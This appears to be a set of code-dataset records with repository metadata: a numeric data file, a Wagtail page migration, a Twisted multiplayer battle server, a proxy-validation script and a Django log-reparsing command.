329 1 0.891614 0.978199 0.953691
1625 1 0.887875 0.775816 0.599706
1816 1 0.227834 0.915985 0.553793
1281 1 0.04421 0.826038 0.639796
377 1 0.103148 0.958585 0.552043
1665 1 0.961704 0.805836 0.612951
836 1 0.934904 0.879855 0.738161
1901 1 0.0203033 0.841722 0.56482
748 1 0.543039 0.648172 0.543784
40 1 0.294024 0.910938 0.642656
1029 1 0.0979031 0.885258 0.730843
1773 1 0.00154575 0.537606 0.582193
1432 1 0.174077 0.885525 0.758902
605 1 0.232085 0.849528 0.595134
1294 1 0.0343868 0.911387 0.572454
449 1 0.229487 0.885147 0.674368
411 1 0.279042 0.978037 0.608407
1946 1 0.321771 0.973492 0.521677
430 1 0.393017 0.957403 0.549315
335 1 0.42216 0.93593 0.622538
1617 1 0.408934 0.899233 0.695357
1993 1 0.0481938 0.997159 0.601488
655 1 0.0887042 0.80883 0.573194
1951 1 0.144901 0.989061 0.604097
1918 1 0.563655 0.844958 0.589944
1157 1 0.625326 0.869788 0.555383
838 1 0.230894 0.517714 0.882155
558 1 0.548541 0.948998 0.52221
1775 1 0.412922 0.875571 0.553014
823 1 0.53784 0.932316 0.732613
1364 1 0.880474 0.667415 0.509939
1392 1 0.74086 0.980205 0.76216
972 1 0.663448 0.906545 0.685441
1079 1 0.713219 0.933172 0.538782
1404 1 0.762727 0.895089 0.765381
593 1 0.347605 0.992144 0.915319
39 1 0.790138 0.956962 0.567099
299 1 0.803115 0.897254 0.859514
97 1 0.7659 0.877978 0.516673
212 1 0.816915 0.788341 0.705521
1032 1 0.875986 0.94179 0.591441
1933 1 0.840861 0.861129 0.912806
264 1 0.171934 0.90183 0.601952
1452 1 0.0153868 0.979664 0.696106
1641 1 0.0392439 0.511801 0.766109
1077 1 0.898592 0.835305 0.679213
1922 1 0.942923 0.858468 0.536815
242 1 0.0808989 0.749652 0.515611
777 1 0.828645 0.889651 0.606809
1293 1 0.550292 0.920792 0.950441
855 1 0.833035 0.848664 0.671601
531 1 0.99323 0.880149 0.652924
613 1 0.263022 0.960155 0.687595
1268 1 0.927472 0.910016 0.670267
1374 1 0.138403 0.934938 0.935285
1017 1 0.926961 0.691934 0.799233
360 1 0.0102962 0.613962 0.769547
261 1 0.806674 0.524175 0.637007
1554 1 0.0498973 0.70258 0.721165
1171 1 0.928198 0.616824 0.700929
1202 1 0.0739425 0.641232 0.573745
80 1 0.0850007 0.630637 0.709685
571 1 0.154676 0.658416 0.677328
454 1 0.936234 0.51805 0.723939
920 1 0.34789 0.507822 0.545944
923 1 0.0925729 0.507228 0.842253
206 1 0.345858 0.664634 0.692917
545 1 0.257669 0.584118 0.627075
1129 1 0.335471 0.602522 0.654631
802 1 0.359758 0.589263 0.957276
494 1 0.0827344 0.544797 0.701279
240 1 0.264871 0.62276 0.685073
1710 1 0.0415858 0.587679 0.651747
1657 1 0.249006 0.52805 0.676627
208 1 0.293379 0.562519 0.736436
1725 1 0.120123 0.613853 0.826158
1312 1 0.483478 0.975323 0.533343
1004 1 0.430878 0.562239 0.741139
2004 1 0.368069 0.56997 0.712457
813 1 0.301175 0.523041 0.620146
811 1 0.952191 0.936214 0.975626
936 1 0.425268 0.61529 0.638863
77 1 0.408832 0.64029 0.748208
59 1 0.194132 0.590047 0.769372
1977 1 0.417021 0.700613 0.503971
1824 1 0.950642 0.944919 0.616314
551 1 0.531396 0.577296 0.663149
1942 1 0.321639 0.509297 0.804419
126 1 0.445904 0.673708 0.686487
400 1 0.566831 0.639523 0.771118
154 1 0.586275 0.635013 0.68354
1355 1 0.482401 0.608122 0.703448
1671 1 0.491456 0.634297 0.785855
149 1 0.643678 0.613651 0.521724
2022 1 0.692445 0.54074 0.713869
24 1 0.611223 0.583889 0.799363
873 1 0.781204 0.806982 0.508099
440 1 0.600192 0.638589 0.589424
814 1 0.626081 0.557501 0.655478
1336 1 0.568395 0.583186 0.731255
853 1 0.650416 0.519635 0.845325
900 1 0.159187 0.837118 0.564602
1246 1 0.732557 0.520938 0.772288
1424 1 0.72439 0.598007 0.75037
1788 1 0.781827 0.603198 0.644
850 1 0.803466 0.553229 0.742514
812 1 0.815593 0.617513 0.868757
1621 1 0.601392 0.74866 0.928941
1160 1 0.905933 0.682828 0.648387
2047 1 0.788774 0.623251 0.725399
985 1 0.931783 0.624447 0.777516
1000 1 0.988291 0.587307 0.898896
917 1 0.213912 0.853122 0.513702
924 1 0.807286 0.522117 0.820202
1191 1 0.834771 0.59599 0.801203
1389 1 0.787677 0.685803 0.7983
1309 1 0.232702 0.719982 0.808681
420 1 0.0291354 0.754669 0.674704
1566 1 0.00745803 0.781452 0.778738
1257 1 0.127567 0.706062 0.760545
714 1 0.0865625 0.800758 0.73934
203 1 0.0809393 0.720884 0.890781
1690 1 0.0326853 0.782443 0.850398
111 1 0.00724686 0.659245 0.66071
466 1 0.181169 0.774125 0.768439
164 1 0.237378 0.758437 0.725576
1169 1 0.347326 0.673169 0.766961
2026 1 0.182403 0.580278 0.692802
391 1 0.285662 0.777877 0.789462
1471 1 0.172459 0.841001 0.845619
191 1 0.211242 0.667549 0.736308
861 1 0.167675 0.671779 0.823886
555 1 0.282969 0.699878 0.747673
1995 1 0.227396 0.81567 0.799118
1882 1 0.144289 0.742564 0.856085
190 1 0.321508 0.771456 0.851695
1287 1 0.392653 0.818558 0.714653
1821 1 0.420216 0.740183 0.721478
1895 1 0.251416 0.649485 0.798979
735 1 0.468902 0.704626 0.770186
385 1 0.448364 0.798099 0.681048
548 1 0.381685 0.767329 0.652464
1271 1 0.366818 0.77499 0.765449
396 1 0.318288 0.688239 0.843651
1335 1 0.50334 0.777471 0.798559
952 1 0.5138 0.758486 0.682691
882 1 0.508657 0.811468 0.630186
282 1 0.583082 0.785485 0.667061
433 1 0.543645 0.725545 0.745676
53 1 0.472907 0.808991 0.908755
275 1 0.543489 0.62801 0.844402
915 1 0.633872 0.650552 0.806184
355 1 0.607765 0.852265 0.684163
442 1 0.713282 0.611641 0.676284
1014 1 0.51056 0.709737 0.824223
324 1 0.662516 0.672038 0.691138
384 1 0.740965 0.681361 0.657001
640 1 0.79654 0.705469 0.712249
2009 1 0.854869 0.72695 0.772839
833 1 0.873049 0.647369 0.831192
1181 1 0.869597 0.582148 0.733079
851 1 0.763002 0.748337 0.777453
1491 1 0.705693 0.697052 0.778159
1346 1 0.82737 0.74181 0.620416
841 1 0.683528 0.770318 0.803387
1730 1 0.863872 0.731344 0.684814
817 1 0.852839 0.655299 0.710072
1494 1 0.982998 0.722495 0.730787
1861 1 0.895433 0.830815 0.878558
1311 1 0.963163 0.804678 0.710797
167 1 0.971781 0.753506 0.849181
1923 1 0.0548017 0.738354 0.799565
51 1 0.900929 0.744487 0.834388
1783 1 0.371402 0.662386 0.565052
105 1 0.00544937 0.850787 0.828087
1714 1 0.00632382 0.868341 0.755025
1628 1 0.926497 0.762176 0.658959
2001 1 0.0524997 0.907049 0.799565
19 1 0.755019 0.637532 0.511728
572 1 0.130621 0.941512 0.776301
427 1 0.89767 0.582119 0.845615
1806 1 0.206153 0.963208 0.803793
1469 1 0.253234 0.892571 0.779595
2010 1 0.656065 0.628456 0.912796
762 1 0.109535 0.854275 0.810923
893 1 0.210535 0.909227 0.85903
507 1 0.158917 0.820249 0.713669
686 1 0.308194 0.815133 0.731425
1189 1 0.182419 0.952651 0.71068
1138 1 0.26327 0.730434 0.531062
152 1 0.952285 0.604331 0.962597
1133 1 0.408892 0.80505 0.845444
1409 1 0.312501 0.906946 0.72767
369 1 0.451395 0.897326 0.760832
663 1 0.437242 0.792332 0.774948
7 1 0.3535 0.843312 0.888086
1905 1 0.477535 0.82772 0.841345
722 1 0.488185 0.893484 0.565623
252 1 0.34108 0.829835 0.823528
372 1 0.126887 0.977811 0.87145
1273 1 0.566415 0.948391 0.663561
1002 1 0.48481 0.970512 0.610254
1468 1 0.520784 0.880561 0.663197
405 1 0.509845 0.821957 0.722616
1408 1 0.576621 0.807571 0.740884
1738 1 0.564477 0.874747 0.787764
709 1 0.617633 0.906546 0.743774
1229 1 0.526571 0.95813 0.81743
1137 1 0.821296 0.937872 0.927033
905 1 0.668016 0.85555 0.731107
236 1 0.685761 0.898447 0.595812
1094 1 0.686523 0.932184 0.754283
84 1 0.662632 0.871502 0.812092
530 1 0.658939 0.93465 0.848547
69 1 0.720298 0.799926 0.745776
1218 1 0.970366 0.935583 0.774441
269 1 0.833497 0.870958 0.738759
1180 1 0.597482 0.921172 0.597572
43 1 0.802237 0.814469 0.765425
1109 1 0.642826 0.980498 0.909506
1031 1 0.27292 0.532869 0.526717
1356 1 0.720074 0.976373 0.636948
1267 1 0.8521 0.949044 0.521218
902 1 0.886837 0.787776 0.729768
941 1 0.616635 0.874083 0.938561
1339 1 0.931352 0.81458 0.812391
1021 1 0.00686348 0.913969 0.856074
907 1 0.55366 0.995298 0.584646
1158 1 0.939647 0.906612 0.834286
988 1 0.349579 0.660904 0.950503
170 1 0.595053 0.572809 0.877605
1807 1 0.0805217 0.669539 0.823139
162 1 0.526013 0.500335 0.972698
1836 1 0.0168734 0.644724 0.956044
1642 1 0.0662179 0.623056 0.886347
1728 1 0.00387956 0.529632 0.96942
27 1 0.53097 1.00071 0.877113
864 1 0.992431 0.574583 0.713879
1563 1 0.136951 0.666554 0.897007
1035 1 0.450275 0.519791 0.683406
1669 1 0.176383 0.523374 0.949534
569 1 0.388382 0.544658 0.643945
66 1 0.161966 0.639961 0.97013
98 1 0.151598 0.590442 0.894656
1904 1 0.120869 0.57397 0.523573
801 1 0.0890654 0.604887 0.946743
808 1 0.710775 0.538267 0.905837
1909 1 0.856694 0.838539 0.54084
949 1 0.274907 0.990297 0.920859
1686 1 0.424111 0.555806 0.927599
587 1 0.838649 0.934905 0.674379
477 1 0.98128 0.975889 0.555819
685 1 0.332156 0.61378 0.8239
1411 1 0.201076 0.604609 0.84536
1162 1 0.715411 0.961706 0.882431
1451 1 0.426126 0.630349 0.942317
1166 1 0.255519 0.571805 0.80524
268 1 0.561393 0.602125 0.951074
1402 1 0.533933 0.5677 0.803321
1306 1 0.626379 0.506317 0.522698
1430 1 0.377857 0.580024 0.789914
881 1 0.490829 0.603 0.913972
730 1 0.311923 0.839537 0.948565
1902 1 0.842617 0.518039 0.914652
351 1 0.672061 0.60025 0.842876
968 1 0.748888 0.580366 0.852338
496 1 0.86225 0.514721 0.687784
1881 1 0.489846 0.588793 0.985658
1546 1 0.738856 0.648278 0.902548
1903 1 0.517724 0.542133 0.881731
283 1 0.0373291 0.978783 0.79006
1987 1 0.755307 0.93179 0.96563
1102 1 0.771611 0.869203 0.936725
1397 1 0.956152 0.885184 0.903469
1531 1 0.64416 0.621967 0.741762
313 1 0.343339 0.717838 0.517287
679 1 0.649942 0.682549 0.947958
1295 1 0.894108 0.635235 0.906048
1827 1 0.833599 0.549451 0.533431
797 1 0.405765 0.956058 0.736198
1338 1 0.801784 0.661806 0.975378
644 1 0.998056 0.996242 0.9368
1027 1 0.927882 0.694583 0.876398
1966 1 0.00382498 0.68545 0.850855
1067 1 0.768449 0.596943 0.966692
1798 1 0.852717 0.702108 0.934512
1703 1 0.917758 0.560857 0.919689
570 1 0.564756 0.848567 0.500689
749 1 0.599638 0.939144 0.813556
1519 1 0.0876277 0.956519 0.715443
195 1 0.145383 0.782654 0.92413
160 1 0.188484 0.732976 0.963157
598 1 0.0584347 0.71182 0.96009
629 1 0.0726903 0.787282 0.938961
1557 1 0.096566 0.80637 0.874813
1758 1 0.0484755 0.848211 0.980852
1989 1 0.579025 0.935867 0.880623
89 1 0.220658 0.662474 0.914809
1135 1 0.211877 0.586917 0.928136
292 1 0.0533841 0.541755 0.908728
1823 1 0.121224 0.830998 0.985866
584 1 0.210035 0.772441 0.881678
1486 1 0.765887 0.553865 0.56151
758 1 0.259425 0.72639 0.960037
137 1 0.398603 0.729796 0.810258
327 1 0.295392 0.629358 0.892966
828 1 0.371083 0.600266 0.883339
1887 1 0.488961 0.867822 0.958856
249 1 0.4849 0.660402 0.962062
883 1 0.496285 0.683921 0.888935
1505 1 0.410495 0.649598 0.832574
1769 1 0.559912 0.816323 0.94313
1413 1 0.467485 0.755871 0.858887
1963 1 0.385725 0.752244 0.879255
1926 1 0.895683 0.981887 0.662792
2016 1 0.434336 0.704262 0.915448
262 1 0.33757 0.984636 0.843286
1117 1 0.701221 0.767013 0.871734
83 1 0.586561 0.667105 0.982042
577 1 0.702529 0.734012 0.932891
1207 1 0.218058 0.780976 0.545046
771 1 0.732538 0.860747 0.875575
821 1 0.532809 0.776287 0.880504
733 1 0.612066 0.712353 0.709008
133 1 0.860038 0.928441 0.816801
929 1 0.725942 0.797373 0.934081
1463 1 0.7786 0.742567 0.983018
950 1 0.823734 0.767234 0.826259
1567 1 0.675602 0.695712 0.883721
1638 1 0.769842 0.718526 0.861071
645 1 0.851678 0.759961 0.97772
1789 1 0.859382 0.853057 0.813015
2045 1 0.741341 0.826987 0.809028
862 1 0.839787 0.587233 0.932128
179 1 0.884584 0.752393 0.907023
341 1 0.843292 0.702222 0.854144
1586 1 0.0134278 0.751655 0.918073
1465 1 0.958535 0.676659 0.945694
1659 1 0.830403 0.833738 0.982399
1571 1 0.800304 0.781663 0.905171
588 1 0.0564619 0.965184 0.916947
671 1 0.911859 0.851194 0.951686
1450 1 0.434927 0.79455 0.988627
1493 1 0.0387169 0.851857 0.907469
461 1 0.112889 0.527666 0.935044
1156 1 0.9859 0.812688 0.964786
1924 1 0.967349 0.820868 0.894886
37 1 0.0878517 0.896649 0.86301
86 1 0.0201634 0.912989 0.952346
1228 1 0.696184 0.562737 0.968636
1906 1 0.363198 0.822413 0.573855
2030 1 0.325441 0.909715 0.892433
1846 1 0.233263 0.991045 0.864852
1480 1 0.131661 0.554889 0.639753
491 1 0.261575 0.722329 0.879241
1387 1 0.140508 0.863394 0.915844
238 1 0.262549 0.859692 0.896256
130 1 0.321137 0.948844 0.975347
1344 1 0.274006 0.605539 0.965141
1764 1 0.24464 0.798637 0.950814
989 1 0.383185 0.724043 0.979216
398 1 0.347129 0.911781 0.821537
1422 1 0.384636 0.799215 0.937502
197 1 0.862147 0.904079 0.977885
830 1 0.383038 0.915285 0.939085
314 1 0.441598 0.873297 0.89299
1045 1 0.320338 0.731112 0.918059
28 1 0.390978 0.860672 0.784787
1326 1 0.212465 0.985956 0.634097
898 1 0.610734 0.69173 0.542314
460 1 0.520788 0.859484 0.890056
731 1 0.925451 0.766887 0.977013
1939 1 0.49255 0.926525 0.877124
792 1 0.463078 0.98819 0.855278
1208 1 0.105551 0.888062 0.57403
1739 1 0.164527 0.908538 0.524364
937 1 0.420052 0.958577 0.986435
582 1 0.340253 0.51932 0.879026
316 1 0.876411 0.528427 0.787121
1053 1 0.0323466 0.956791 0.505566
1930 1 0.888165 0.514995 0.980249
1446 1 0.699685 0.859893 0.954789
1165 1 0.416226 0.99807 0.662806
239 1 0.713948 0.662422 0.974383
2034 1 0.0734874 0.960694 0.984168
1188 1 0.921743 0.761256 0.514844
891 1 0.390191 0.776492 0.508301
284 1 0.99601 0.897777 0.512263
1025 1 0.921841 0.952767 0.500714
856 1 0.17598 0.504417 0.506934
1391 1 0.80831 0.989745 0.731798
64 1 0.35118 0.52666 0.994036
1015 1 0.903552 0.59587 0.505623
523 1 0.986426 0.721749 0.997823
1810 1 0.876662 0.601594 0.996273
307 1 0.283473 0.872527 0.50463
1945 1 0.410765 0.860316 0.991023
| [
"[email protected]"
] | |
b9d7f58e5ce2df2d1e5b2de5133ce3e2a2e4020f | 505ce732deb60c4cb488c32d10937a5faf386dce | /di_website/datasection/migrations/0018_auto_20191115_1108.py | 9739d427e1bc60ac12c93a34e1c0c47d8e31d823 | [] | no_license | davidebukali/di_web_test | cbdbb92b2d54c46771b067a24480e6699f976a15 | a826817a553d035140bb8b6768f3fd2b451199d8 | refs/heads/develop | 2023-02-11T13:21:26.281899 | 2021-01-08T04:37:34 | 2021-01-08T04:37:34 | 319,560,677 | 0 | 0 | null | 2021-01-08T04:37:35 | 2020-12-08T07:30:51 | HTML | UTF-8 | Python | false | false | 7,247 | py | # Generated by Django 2.2.6 on 2019-11-15 11:08
from django.db import migrations
import wagtail.core.blocks
import wagtail.core.fields
import wagtail.documents.blocks
import wagtail.embeds.blocks
import wagtail.images.blocks
class Migration(migrations.Migration):
dependencies = [
('datasection', '0017_auto_20191114_1729'),
]
operations = [
migrations.AlterField(
model_name='datasectionpage',
name='sections',
field=wagtail.core.fields.StreamField([('paragraph_block', wagtail.core.blocks.StructBlock([('text', wagtail.core.blocks.RichTextBlock(features=['h2', 'h3', 'h4', 'bold', 'italic', 'ol', 'ul', 'hr', 'link', 'document-link', 'image', 'embed', 'anchor', 'footnote'])), ('center', wagtail.core.blocks.BooleanBlock(default=False, required=False))])), ('block_quote', wagtail.core.blocks.StructBlock([('text', wagtail.core.blocks.TextBlock()), ('source', wagtail.core.blocks.TextBlock(help_text='Who is this quote acredited to?', required=False)), ('center', wagtail.core.blocks.BooleanBlock(default=False, required=False))])), ('banner_block', wagtail.core.blocks.StructBlock([('image', wagtail.images.blocks.ImageChooserBlock(required=False)), ('video', wagtail.embeds.blocks.EmbedBlock(help_text='Insert an embed URL e.g https://www.youtube.com/embed/SGJFWirQ3ks', icon='fa-video-camera', required=False, template='blocks/embed_block.html')), ('text', wagtail.core.blocks.StreamBlock([('text_heading', wagtail.core.blocks.CharBlock(icon='title', required=False, template='blocks/banner/text_heading.html')), ('text', wagtail.core.blocks.TextBlock(template='blocks/banner/text.html')), ('richtext', wagtail.core.blocks.RichTextBlock(template='blocks/banner/richtext.html')), ('list', wagtail.core.blocks.ListBlock(wagtail.core.blocks.StructBlock([('title', wagtail.core.blocks.TextBlock(help_text='An optional title to the list item', required=False)), ('content', wagtail.core.blocks.TextBlock(help_text='The list item content', required=True))], template='blocks/banner/list_item.html'), icon='list-ul', template='blocks/banner/list.html'))])), ('meta', wagtail.core.blocks.CharBlock(help_text='Anything from a name, location e.t.c - usually to provide credit for the text', required=False)), ('buttons', wagtail.core.blocks.StreamBlock([('button', wagtail.core.blocks.StructBlock([('caption', wagtail.core.blocks.CharBlock(help_text='Leave blank if you wish to use the page title as a caption', required=False)), ('page', wagtail.core.blocks.PageChooserBlock(help_text='For the link/button to show, either this or the url are required', required=False)), ('url', wagtail.core.blocks.URLBlock(help_text='An alternative to an internal page', required=False))])), ('document_box', wagtail.core.blocks.StructBlock([('box_heading', wagtail.core.blocks.CharBlock(icon='title', required=False)), ('documents', wagtail.core.blocks.StreamBlock([('document', wagtail.documents.blocks.DocumentChooserBlock())], required=False)), ('dark_mode', wagtail.core.blocks.BooleanBlock(default=False, help_text='Red on white if unchecked. White on dark grey if checked.', required=False))]))], required=False)), ('media_orientation', wagtail.core.blocks.ChoiceBlock(choices=[('left', 'Left'), ('right', 'Right')], required=False)), ('light', wagtail.core.blocks.BooleanBlock(default=False, help_text='Sets the background to a lighter colour', required=False))])), ('downloads', wagtail.core.blocks.StructBlock([('section_heading', wagtail.core.blocks.TextBlock(required=False)), ('section_sub_heading', wagtail.core.blocks.RichTextBlock(required=False)), ('document_box_heading', wagtail.core.blocks.CharBlock(icon='title', required=False)), ('document_boxes', wagtail.core.blocks.StreamBlock([('document_box', wagtail.core.blocks.StructBlock([('box_heading', wagtail.core.blocks.CharBlock(icon='title', required=False)), ('documents', wagtail.core.blocks.StreamBlock([('document', wagtail.documents.blocks.DocumentChooserBlock())], required=False)), ('dark_mode', wagtail.core.blocks.BooleanBlock(default=False, help_text='Red on white if unchecked. White on dark grey if checked.', required=False))]))], required=False)), ('alt', wagtail.core.blocks.BooleanBlock(default=True, help_text='White background if checked', required=False))])), ('image', wagtail.core.blocks.StructBlock([('image', wagtail.images.blocks.ImageChooserBlock(required=True)), ('credit_name', wagtail.core.blocks.CharBlock(help_text='Name of the image source', required=False)), ('credit_url', wagtail.core.blocks.URLBlock(help_text='URL of the image source', required=False)), ('caption', wagtail.core.blocks.CharBlock(help_text='Caption to appear beneath the image', required=False))])), ('image_duo', wagtail.core.blocks.StructBlock([('image', wagtail.images.blocks.ImageChooserBlock(required=True)), ('credit_name', wagtail.core.blocks.CharBlock(help_text='Name of the image source', required=False)), ('credit_url', wagtail.core.blocks.URLBlock(help_text='URL of the image source', required=False)), ('caption', wagtail.core.blocks.CharBlock(help_text='Caption to appear beneath the image', required=False)), ('heading', wagtail.core.blocks.CharBlock(icon='fa-heading', required=False)), ('side_text', wagtail.core.blocks.RichTextBlock(features=['h2', 'h3', 'h4', 'bold', 'italic', 'ol', 'ul', 'hr', 'link', 'document-link', 'image', 'embed', 'anchor', 'footnote'], icon='fa-paragraph', required=True, template='blocks/paragraph_block.html')), ('button', wagtail.core.blocks.StructBlock([('caption', wagtail.core.blocks.CharBlock(help_text='Leave blank if you wish to use the page title as a caption', required=False)), ('page', wagtail.core.blocks.PageChooserBlock(help_text='For the link/button to show, either this or the url are required', required=False)), ('url', wagtail.core.blocks.URLBlock(help_text='An alternative to an internal page', required=False))])), ('alt', wagtail.core.blocks.BooleanBlock(default=False, help_text='White background if checked.', required=False))])), ('video_duo', wagtail.core.blocks.StructBlock([('heading', wagtail.core.blocks.CharBlock(help_text='Section heading', icon='fa-heading', required=False)), ('video', wagtail.embeds.blocks.EmbedBlock(help_text='Insert an embed URL e.g https://www.youtube.com/embed/SGJFWirQ3ks', icon='fa-video-camera', required=False, template='blocks/embed_block.html')), ('side_text', wagtail.core.blocks.RichTextBlock(features=['h2', 'h3', 'h4', 'bold', 'italic', 'ol', 'ul', 'hr', 'link', 'document-link', 'image', 'embed', 'anchor', 'footnote'], icon='fa-paragraph', required=True, template='blocks/paragraph_block.html')), ('button', wagtail.core.blocks.StructBlock([('caption', wagtail.core.blocks.CharBlock(help_text='Leave blank if you wish to use the page title as a caption', required=False)), ('page', wagtail.core.blocks.PageChooserBlock(help_text='For the link/button to show, either this or the url are required', required=False)), ('url', wagtail.core.blocks.URLBlock(help_text='An alternative to an internal page', required=False))])), ('alt', wagtail.core.blocks.BooleanBlock(default=False, help_text='White background if checked.', required=False))]))], blank=True, null=True, verbose_name='Sections'),
),
]
| [
"[email protected]"
] | |
dc1eebcf72b6afa384ae1dfdeb4a15919adecf59 | 4f2c48896b0ac88b21a109d506296337a3a14807 | /service.py | 08955d7620d5742a20b126c253fe191cb9118d5a | [] | no_license | mehdi1361/tcp_server | 0539c6de158a6f6ac26428cc4f14f8bdd566cbdd | 3a697221c3ba0110fb54e4c94958265b7fbbc0a8 | refs/heads/master | 2020-03-26T03:14:49.076505 | 2018-08-28T15:05:29 | 2018-08-28T15:05:29 | 144,384,551 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,705 | py | import os
import sys
sys.path = [os.path.join(os.getcwd(), '.'), ] + sys.path
import json
import settings
# import time
from twisted.internet import reactor, protocol, task
from twisted.application import service, internet
from common.game import Battle
from common.objects import Player, CtmChestGenerate
from common.utils import normal_length
from dal.views import ProfileUpdateViewer, get_user, get_random_user, get_troop_list
clients = []
global_time = 0
def battle_finder(player, bot=False):
if bot:
player1 = Player(client=player, troops=player.troops)
enemy = GameProtocol()
enemy.user = get_random_user(player.user.username)
troops = get_troop_list(enemy.user)
enemy.troops = troops
player2 = Player(client=enemy, troops=enemy.troops)
player2.is_bot = bot
battle = Battle(player1, player2)
player.battle = battle
enemy.battle = battle
battle.start()
else:
for client in clients:
if client.user and client.user != player.user and client.battle is None:
if client.battle:
continue
player1 = Player(client=player, troops=player.troops)
player2 = Player(client=client, troops=client.troops)
battle = Battle(player1, player2)
player.battle = battle
client.battle = battle
battle.start()
class GameProtocol(protocol.Protocol):
def __init__(self):
self.user = set()
self.battle = None
self.troops = None
self.ready = False
self.wait = 0
self.is_bot = False
def connectionMade(self):
self.factory.clientConnectionMade(self)
def connectionLost(self, reason):
self.factory.clientConnectionLost(self)
def dataReceived(self, data):
try:
clean_data = json.loads(data)
print 'clean data:{}'.format(clean_data)
if not self.user:
user = get_user(clean_data['username'])
if user in [client.user for client in clients]:
message = {
"t": "Error",
"v": {'error_code': 501, 'msg': 'user {} already exists with id:{}'.format(user.username, user.id)}
}
self.transport.write('{}{}'.format(normal_length(len(str(message))), str(message).replace("'", '"')))
return
if user:
self.user = user
self.troops = clean_data['troops_id']
else:
message = {
"t": "Error",
"v": {'error_code': 500, 'msg': 'user login failed'}
}
self.transport.write('{}{}'.format(normal_length(len(str(message))), str(message).replace("'", '"')))
if not self.battle:
battle_finder(self)
return
if not self.battle.player1.ready or not self.battle.player2.ready:
if clean_data['user_ready']:
if self.battle.player1.player_client == self:
self.battle.player1.ready = True
if self.battle.player2.is_bot:
self.battle.player2.ready = True
if self.battle.player2.player_client == self:
self.battle.player2.ready = True
if self.battle.player1.is_bot:
self.battle.player1.ready = True
self.battle.user_ready()
return
if clean_data['flag'] == "action":
self.battle.action(self, clean_data['spell_index'], clean_data['target_id'])
return
except ValueError as e:
message = {
"t": "Error",
"v": {'error_code': 400, 'msg': 'data invalid!!!{}'.format(e)}
}
self.transport.write('{}{}'.format(normal_length(len(str(message))), str(message).replace("'", '"')))
print 'value error-{}'.format(e.message)
except KeyError as e:
message = {
"t": "Error",
"v": {'error_code': 401, 'msg': 'data invalid!!!{}'.format(e)}
}
self.transport.write('{}{}'.format(normal_length(len(str(message))), str(message).replace("'", "'")))
print 'KeyError-{}'.format(e.message)
except Exception as e:
message = {
"t": "Error",
"v": {'error_code': 402, 'msg': 'data invalid!!!{}'.format(e)}
}
self.transport.write('{}{}'.format(normal_length(len(str(message))), str(message).replace("'", '"')))
print 'Exception-{}'.format(e.message)
class ServerFactory(protocol.Factory):
protocol = GameProtocol
def __init__(self):
self.lc = task.LoopingCall(self.announce)
self.global_time = 0
self.lc.start(1)
def announce(self):
for client in clients:
if client.battle:
if client.battle.player1.ready is True and client.battle.player2.ready is True:
client.battle.tick(self.global_time)
else:
if client.wait > 10:
battle_finder(client, bot=True)
client.wait = 0
else:
client.wait += 1
self.global_time += 1
# print self.global_time
def clientConnectionMade(self, client):
clients.append(client)
def clientConnectionLost(self, client):
if client in clients:
clients.remove(client)
if not client.battle.battle_end:
if client.user.username == client.battle.player1.player_client.user.username:
winner = client.battle.player2
loser = client.battle.player1
else:
winner = client.battle.player1
loser = client.battle.player2
winner.victorious = True
loser.victorious = False
if not winner.is_bot:
winner_profile = ProfileUpdateViewer(winner)
winner_data = winner_profile.generate()
chest = CtmChestGenerate(winner.player_client.user)
chest = chest.generate_chest()
winner_message = {
"t": "BattleResult",
"v": {
"victorious": str(winner.victorious),
"reward": {
"coin": winner_data['coin'],
"trophy": winner_data['trophy']
},
"cooldown_data": [],
"connection_lost": "True"
}
}
if chest is not None:
winner_message['v']['reward']['chest_info'] = chest
winner_message = str(winner_message).replace("u'", '"')
client.battle.send("{}{}".format(normal_length(len(str(winner_message))), winner_message), winner)
winner.player_client.transport.loseConnection()
loser_profile = ProfileUpdateViewer(loser)
loser_data = loser_profile.generate()
# game_factory = ServerFactory()
# reactor.listenTCP(settings.PORT, game_factory)
# reactor.run()
application = service.Application('finger', uid=1, gid=1)
game_factory = ServerFactory()
internet.TCPServer(settings.PORT, game_factory).setServiceParent(service.IServiceCollection(application))
| [
"[email protected]"
] | |
95644dd622ba8e1d18d9679fb5e4e32b799263ba | 0694d9f69934cc21a20bd3a47871c04624bf5123 | /helper/valid_tmp.py | 33ece6949b3f48b849d026e7991ab68413ec1bc1 | [] | no_license | ShenDezhou/courtpy | fb47edb3b19062d0d60928375c7ab4bf98a3b089 | 338fca9c889994498173631ac2469684483afedd | refs/heads/master | 2020-06-10T18:20:51.660842 | 2017-01-16T13:59:59 | 2017-01-16T13:59:59 | 75,911,371 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 686 | py | # -*- coding:utf-8 -*-
__author__ = 'Mr.Tian'
from log import init_logging
from mongo import ProxyItemsDB, ProxyItemsDropDB, ProxyItemsTmpDB
from valid_proxy import valid_proxy
from get_proxy import GetProxy
def main():
get_proxy = GetProxy(ProxyItemsTmpDB)
while True:
item = get_proxy.get_proxy()
ret = valid_proxy(item)
if ret:
ProxyItemsDB.upsert_proxy_item(ret)
pass
else:
ProxyItemsDropDB.upsert_proxy_item(item)
pass
ProxyItemsTmpDB.remove_proxy_item(item)
pass
if __name__ == "__main__":
init_logging("log/valid_tmp.log", "log/valid_tmp_2.log")
main()
pass
| [
"[email protected]"
] | |
e6f51b04e362267f3c2c2555c5394eb5c42ea078 | 6362d18d6aadefa9949d10eae31030b25ff46fd0 | /ndstats/management/commands/saveunknown.py | c4c5787ef7c05f1bbaed4013d69d11cbd880a301 | [] | no_license | yedpodtrzitko/ndstats | 2ab3c0d389401b4c5e96f976b45f443f09057a70 | d59b6395729269e311119c6edae7577303ec5d1b | refs/heads/master | 2022-12-09T18:59:03.916427 | 2019-10-23T04:05:36 | 2019-10-23T04:05:36 | 40,006,216 | 0 | 0 | null | 2022-12-08T02:25:49 | 2015-07-31T13:19:30 | JavaScript | UTF-8 | Python | false | false | 814 | py | from django.core.management.base import BaseCommand
from ndstats.models import UnknownLine, Chatlog
from ndstats.parser import LogParser
class Command(BaseCommand):
def handle(self, *args, **options):
parser = LogParser()
Chatlog.objects.all().delete()
for line in UnknownLine.objects.all():
try:
if '><BOT><' in line.line:
continue
parser.parse_line(
line.ip_address, line.line,
save_unknown=False)
except Exception as e:
raise
else:
continue
delete = raw_input('delete? (y/N)')
# TODO - remove question
if delete.strip().lower() == 'y':
line.delete()
| [
"[email protected]"
] | |
